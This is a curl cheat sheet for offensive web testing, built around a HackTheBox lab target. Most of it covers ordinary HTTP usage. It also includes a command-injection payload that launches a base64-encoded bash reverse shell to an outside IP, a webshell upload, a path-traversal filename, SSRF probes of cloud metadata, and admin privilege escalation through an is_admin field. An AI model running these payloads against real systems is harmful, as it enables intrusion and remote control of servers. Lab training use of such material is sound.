curl.md (13105B)
1 --- 2 title: "cURL" 3 description: "cURL for web testing: methods, headers, auth, cookies, proxies, file upload/download and scripting." 4 category: web 5 tags: [web, http, tooling] 6 tools: [curl] 7 difficulty: beginner 8 updated: "2026-08-09" 9 source: "vault:Web/Curl Document.pdf" 10 --- 11 12 # cURL 13 14 Modern web/API reconnaissance and exploitation with curl. 15 16 ## 1. What is cURL? 17 18 `curl` is a command-line client for HTTP(S) and many other protocols. For offensive security it is ideal for API discovery, auth testing, uploading/downloading files, header manipulation, proxying through tooling (e.g., Burp), and driving complex exploit chains from the shell. 19 20 ## 2. General Syntax 21 22 ```bash 23 # Basic 24 curl [GLOBAL OPTIONS] [HTTP-OPTIONS] <URL> 25 26 # Show version and features 27 curl -V 28 ``` 29 30 > **Note —** Common global flags: `-s` silent, `-v` verbose, `-k` insecure TLS, `-L` follow redirects, `-i` include response headers, `-I` HEAD only, `-m` max time, `--connect-timeout`. 31 32 ## 3. Recon & Enumeration 33 34 ### 3.1 Headers, Status, Redirects 35 36 ```bash 37 # Print response headers + status 38 curl -is http://target/api 39 40 # Follow redirects and show the chain 41 curl -sIL http://target -o - 42 ``` 43 44 ### 3.2 Discover API surface 45 46 ```bash 47 # Probe well-known API docs 48 curl -s http://target/{api,api/v1,.well-known/openapi.json} 49 50 # Wordlist path discovery (quick and dirty) 51 for p in auth users admin; do curl -s -o /dev/null -w "%{http_code} %{url}\n" http://target/api/v1/$p; done 52 ``` 53 54 ## 4. Methods & Bodies 55 56 ### 4.1 URL-encoded forms 57 58 ```bash 59 # application/x-www-form-urlencoded 60 curl -sX POST http://target/login \ 61 -H 'Content-Type: application/x-www-form-urlencoded' \ 62 --data 'username=alice&password=Password123!' 63 ``` 64 65 ### 4.2 JSON 66 67 ```bash 68 # POST JSON 69 curl -sX POST http://target/api/v1/items \ 70 -H 'Content-Type: application/json' \ 71 -d '{"name":"widget","price":1.99}' | jq 72 73 # PUT / PATCH / DELETE 74 curl -sX PUT http://target/api/v1/user/1 -H 'Content-Type: application/json' -d '{"email":"a@b.c"}' 75 curl -sX PATCH http://target/api/v1/user/1 -H 'Content-Type: application/json' -d '{"is_admin":1}' 76 curl -sX DELETE http://target/api/v1/user/1 77 ``` 78 79 ### 4.3 Query params 80 81 ```bash 82 # Build a query string from -d with -G 83 curl -sG 'http://target/search' -d 'q=admin' -d 'page=1' 84 ``` 85 86 ## 5. Map Discovery Output to Requests 87 88 | Method | Use | 89 |---|---| 90 | GET | `curl -s http://host/path -b 'PHPSESSID=...'` | 91 | POST | `-X POST` with body: `-H 'Content-Type: application/json' -d '...'` | 92 | PUT | `-X PUT` and include JSON or form data as required | 93 | DELETE | `-X DELETE` (often no body) | 94 | Unknown | Check `OPTIONS`: `curl -i -X OPTIONS http://host/path` | 95 96 If discovery returns grouped endpoints by method, match the method to `-X <METHOD>` and include cookies/headers as needed. 97 98 ```json 99 { 100 "admin": { 101 "GET": { "/api/v1/admin/auth": "Check if user is admin" }, 102 "POST": { "/api/v1/admin/vpn/generate": "Generate VPN for user" }, 103 "PUT": { "/api/v1/admin/settings/update": "Update user settings" } 104 } 105 } 106 ``` 107 108 ```bash 109 # Session cookie used for all examples below 110 SESSION='PHPSESSID=nufb0km8892s1t9kraqhqiecj6' 111 BASE='http://2million.htb' 112 113 # GET -> /api/v1/admin/auth 114 curl -s "$BASE/api/v1/admin/auth" -b "$SESSION" | jq 115 116 # POST -> /api/v1/admin/vpn/generate 117 curl -sv -X POST "$BASE/api/v1/admin/vpn/generate" \ 118 -b "$SESSION" -H 'Content-Type: application/json' \ 119 -d '{"username":"alice"}' | jq 120 121 # PUT -> /api/v1/admin/settings/update 122 curl -s -X PUT "$BASE/api/v1/admin/settings/update" \ 123 -b "$SESSION" -H 'Content-Type: application/json' \ 124 -d '{"email":"test@2million.htb","is_admin":true}' | jq 125 ``` 126 127 Probe required fields: when the API complains about missing parameters, add them to your JSON until it succeeds. 128 129 ```bash 130 # Server hints missing fields 131 curl -s -X PUT "$BASE/api/v1/admin/settings/update" -b "$SESSION" \ 132 -H 'Content-Type: application/json' -d '{"email":"test@2million.htb"}' | jq 133 # => { "status": "danger", "message": "Missing parameter: is_admin" } 134 135 # Add the hinted field 136 curl -s -X PUT "$BASE/api/v1/admin/settings/update" -b "$SESSION" \ 137 -H 'Content-Type: application/json' -d '{"email":"test@2million.htb","is_admin":true}' | jq 138 ``` 139 140 ## 6. From Response to Next Command 141 142 ### 6.1 Redirects and Set-Cookie 143 144 ```http 145 HTTP/1.1 302 Found 146 Location: /login 147 Set-Cookie: PHPSESSID=abc123; Path=/; HttpOnly 148 ``` 149 150 ```bash 151 # Follow redirects and persist cookies 152 curl -sL -c jar.txt -b jar.txt "$BASE/protected" 153 ``` 154 155 ### 6.2 Method discovery (Allow/OPTIONS) 156 157 ```http 158 HTTP/1.1 405 Method Not Allowed 159 Allow: GET, POST 160 ``` 161 162 ```bash 163 # Use an allowed method 164 curl -s -X POST "$BASE/api/v1/items" -H 'Content-Type: application/json' -d '{"name":"x"}' 165 # Or ask the server 166 curl -i -X OPTIONS "$BASE/api/v1/items" 167 ``` 168 169 ### 6.3 Authentication hints (WWW-Authenticate) 170 171 ```http 172 HTTP/1.1 401 Unauthorized 173 WWW-Authenticate: Basic realm="admin" 174 WWW-Authenticate: Bearer 175 WWW-Authenticate: NTLM 176 ``` 177 178 ```bash 179 # Basic 180 curl -su user:pass "$BASE/admin" 181 # Bearer / JWT 182 curl -H 'Authorization: Bearer <TOKEN>' "$BASE/api/me" 183 # NTLM 184 curl --ntlm -u 'DOMAIN\user:pass' "$BASE/" 185 ``` 186 187 ### 6.4 Unsupported Media Type (415) 188 189 ```http 190 HTTP/1.1 415 Unsupported Media Type 191 { "message": "Expected application/json" } 192 ``` 193 194 ```bash 195 curl -s -X POST "$BASE/api/v1/thing" -H 'Content-Type: application/json' -d '{"ok":true}' 196 ``` 197 198 ### 6.5 Find and use CSRF tokens 199 200 ```html 201 <form action="/profile/update" method="post"> 202 <input type="hidden" name="csrf_token" value="abc123"/> 203 </form> 204 ``` 205 206 ```bash 207 # Extract token, keep cookies, then submit 208 TOKEN=$(curl -s -c jar.txt -b jar.txt "$BASE/profile" \ 209 | sed -n 's/.*name="csrf_token" value="\([^"]*\)".*/\1/p') 210 curl -s -X POST "$BASE/profile/update" -c jar.txt -b jar.txt \ 211 -H 'Content-Type: application/x-www-form-urlencoded' \ 212 --data "name=alice&csrf_token=$TOKEN" 213 ``` 214 215 ### 6.6 Pagination (Link header) 216 217 ```http 218 Link: <http://api/items?page=2>; rel="next", <http://api/items?page=10>; rel="last" 219 ``` 220 221 ```bash 222 NEXT=$(curl -si "$BASE/api/v1/items?page=1" -b "$SESSION" \ 223 | grep -i '^Link:' | sed -n 's/.*<\([^>]*\)>; rel="next".*/\1/p') 224 [ -n "$NEXT" ] && curl -s "$NEXT" -b "$SESSION" | jq 225 ``` 226 227 ### 6.7 Rate limiting 228 229 ```http 230 X-RateLimit-Remaining: 0 231 X-RateLimit-Reset: 1730400000 232 ``` 233 234 ```bash 235 RESET=$(curl -si "$BASE/api/v1/search?q=admin" | awk -F': ' '/^X-RateLimit-Reset/{print $2}') 236 WAIT=$((RESET-$(date +%s))); [ $WAIT -gt 0 ] && sleep $WAIT && \ 237 curl -s "$BASE/api/v1/search?q=admin" 238 ``` 239 240 ### 6.8 Use headers requested by server 241 242 ```http 243 { "error": "Provide header X-API-Key" } 244 ``` 245 246 ```bash 247 curl -s "$BASE/api/v1/private" -H 'X-API-Key: <API_KEY>' 248 ``` 249 250 ### 6.9 Content-Disposition indicates download 251 252 ```http 253 Content-Disposition: attachment; filename="report.pdf" 254 ``` 255 256 ```bash 257 curl -OJ "$BASE/files/report" 258 ``` 259 260 ### 6.10 Discover upload field names from HTML 261 262 ```html 263 <input type="file" name="upload" /> 264 ``` 265 266 ```bash 267 curl -s -X POST "$BASE/upload" -F 'upload=@/tmp/poc.txt' 268 ``` 269 270 ### 6.11 RESTful heuristics when docs are missing 271 272 | Endpoint | Convention | 273 |---|---| 274 | `/api/v1/posts` | list posts, create post (send JSON) | 275 | `/api/v1/posts/123` | read, replace, often not used, delete, PATCH to partially update | 276 | `/login`, `/auth` | usually with credentials | 277 | `/settings/update`, `/generate` | typically POST or PUT with a JSON body | 278 279 ### 6.12 401 vs 403 280 281 ```text 282 401 Unauthorized -> missing/invalid credentials 283 403 Forbidden -> authenticated but not allowed 284 ``` 285 286 ```bash 287 # 401 -> supply cookie or Authorization 288 curl -s "$BASE/admin" -b "$SESSION" 289 # 403 -> try another user/role or alternate endpoint 290 ``` 291 292 ### 6.13 415/422 error messages drive body shape 293 294 ```http 295 { "message": "Missing: email, is_admin (boolean)" } 296 ``` 297 298 ```bash 299 curl -s -X PUT "$BASE/api/v1/admin/settings/update" \ 300 -H 'Content-Type: application/json' -b "$SESSION" \ 301 -d '{"email":"alice@example.com","is_admin":true}' | jq 302 ``` 303 304 ## 7. Cookies & Sessions 305 306 ```bash 307 # Provide a session cookie 308 curl -s http://target/api -b 'PHPSESSID=abcd...' 309 310 # Maintain a cookie jar across requests 311 curl -s -c jar.txt -b jar.txt http://target/login -d 'u=a&p=b' 312 ``` 313 314 > **Tip —** Use `-c jar.txt -b jar.txt` to persist authenticated state across multiple requests and terminals. 315 316 ## 8. Authentication 317 318 ```bash 319 # Basic Auth (auto Base64) 320 curl -su user:pass http://target/admin 321 322 # Bearer / JWT 323 curl -H 'Authorization: Bearer <TOKEN>' http://target/api/me 324 325 # NTLM / Negotiate (Kerberos) 326 curl --ntlm -u 'DOMAIN\user:pass' http://win-target/ 327 curl --negotiate -u : --service-name HTTP --delegation always http://kerb-target/ 328 ``` 329 330 ## 9. File Uploads 331 332 ### 9.1 multipart/form-data 333 334 ```bash 335 # Upload a file with field name 'file' 336 curl -sX POST http://target/upload \ 337 -F 'file=@/path/webshell.php;type=application/x-php' \ 338 -F 'submit=Upload' 339 340 # Set a forged filename parameter (path traversal in filename) 341 curl -sX POST http://target/upload -F 'file=@/tmp/poc.txt;filename=..%2f..%2fetc%2fpasswd' 342 ``` 343 344 ### 9.2 Raw file to server 345 346 ```bash 347 # PUT raw bytes to a writable path 348 curl -sT ./payload.bin http://target/uploads/payload.bin 349 ``` 350 351 ## 10. Downloads & Exfil 352 353 ```bash 354 # Save using remote name; honor Content-Disposition 355 curl -OJ http://target/files/report.pdf 356 357 # Partial content (Range request) 358 curl -sR 0-1024 http://target/large.iso -o head.bin 359 ``` 360 361 > **Note —** The Range example in the source used `-sR 0-1024`; the standard flag for a byte range is `-r 0-1024` (`--range`). Verify against your curl version. 362 363 ## 11. Proxies & TLS 364 365 ```bash 366 # Proxy via Burp 367 curl -x http://127.0.0.1:8080 http://target -s -k 368 369 # SOCKS proxy (e.g., through Chisel/SSH) 370 curl --socks5 127.0.0.1:1080 http://intranet 371 372 # Force HTTP/2 or HTTP/1.1 373 curl --http2 https://target 374 curl --http1.1 https://legacy 375 376 # Insecure TLS, custom SNI, resolve override 377 curl -k --resolve internal:443:10.0.0.5 https://internal/ 378 ``` 379 380 ## 12. Debugging & Output Control 381 382 ```bash 383 # Show only status code 384 curl -s -o /dev/null -w '%{http_code}\n' http://target 385 386 # Save body to file and headers to a separate file 387 curl -sD headers.txt -o body.json http://target/api 388 389 # Trace (raw) 390 curl --trace-ascii trace.txt http://target 391 ``` 392 393 ## 13. Useful One-Liners 394 395 ```bash 396 # Check if authenticated API returns true 397 curl -s 'http://target/api/v1/admin/auth' -b 'PHPSESSID=<SESSION>' | jq 398 399 # JSON change with error-led probing (missing fields -> messages) 400 curl -sX PUT http://target/api/v1/admin/settings/update \ 401 -H 'Content-Type: application/json' -b 'PHPSESSID=<SESSION>' \ 402 -d '{"email":"me@target","is_admin":1}' | jq 403 404 # Detect command injection via a filename/param 405 curl -sX POST http://target/api/v1/admin/vpn/generate \ 406 -H 'Content-Type: application/json' -b 'PHPSESSID=<SESSION>' \ 407 -d '{"username":"test;id;"}' 408 409 # Base64 payload launcher 410 PAY=$(echo 'bash -i >& /dev/tcp/10.10.14.4/1234 0>&1' | base64 -w0) 411 curl -sX POST http://target/api/v1/admin/vpn/generate \ 412 -H 'Content-Type: application/json' -b 'PHPSESSID=<SESSION>' \ 413 -d "{\"username\":\"test;echo $PAY | base64 -d | bash;\"}" 414 ``` 415 416 > **Warning —** Only perform testing with explicit authorization. Some of the above are intrusive and may cause service disruption. 417 418 ## 14. Header Manipulation 419 420 ```bash 421 # Override Host (virtual host routing / SSRF pivots) 422 curl -s https://edge --resolve api.intra:443:10.0.0.5 -H 'Host: api.intra' 423 424 # Origin/Referer forging (CORS/CSRF bypass testing) 425 curl -s http://target/endpoint -H 'Origin: https://trusted.example' -H 'Referer: https://trusted.example/page' 426 427 # X-Forwarded-* spoofing 428 curl -s http://target -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Original-URL: /admin' 429 ``` 430 431 ## 15. SSRF Probing 432 433 ```bash 434 # Direct SSRF probe to metadata (example AWS) 435 curl -s http://target/proxy?url=http://169.254.169.254/latest/meta-data/ 436 437 # Verify DNS-based SSRF with a collaborator 438 curl -s 'http://target/fetch?u=http://<id>.oast.site/' 439 ``` 440 441 ## 16. Automation & Chaining 442 443 ```bash 444 # Brute-force endpoints from a list (respect rate limiting) 445 cat endpoints.txt | xargs -I{} -P5 bash -c \ 446 "curl -s -o /dev/null -w '{} -> %{http_code}\n' http://target{}" 447 448 # Extract token, reuse automatically 449 auth=$(curl -s http://target/login -d 'u=a&p=b' | jq -r '.token') 450 curl -s http://target/me -H "Authorization: Bearer $auth" | jq 451 ``` 452 453 ## 17. Bypass Techniques 454 455 ```bash 456 # Method override 457 echo '{"_method":"DELETE"}' | \ 458 curl -sX POST http://target/item/1 -H 'Content-Type: application/json' -d @- 459 460 # Content-Type confusion 461 curl -sX POST http://target/api -H 'Content-Type: application/json; charset=utf-7' -d '{}' 462 463 # Case-variant headers 464 curl -s http://target -H 'hOsT: admin' -H 'X-Forwarded-For: 127.0.0.1' 465 ``` 466 467 ## 18. Quick Reference 468 469 | Task | Flags | 470 |---|---| 471 | Follow redirects | `-L` | 472 | Proxy (HTTP/S) | `-x http://127.0.0.1:8080` | 473 | SOCKS proxy | `--socks5 127.0.0.1:1080` | 474 | Send header | `-H 'Header: value'` | 475 | Cookie jar | `-c jar.txt -b jar.txt` | 476 | Upload file (multipart) | `-F 'f=@/path/file'` | 477 | PUT file | `-T file.bin` | 478 | Output control | `-o file`, `-D headers.txt`, `-w fmt` | 479 | HTTP/2 | `--http2` | 480 | Insecure TLS | `-k` | 481 482 ## 19. Resources 483 484 - [cURL Manual](https://curl.se/docs/manpage.html) 485 - [HTTP RFCs](https://httpwg.org/specs/) 486 - [jq](https://stedolan.github.io/jq/)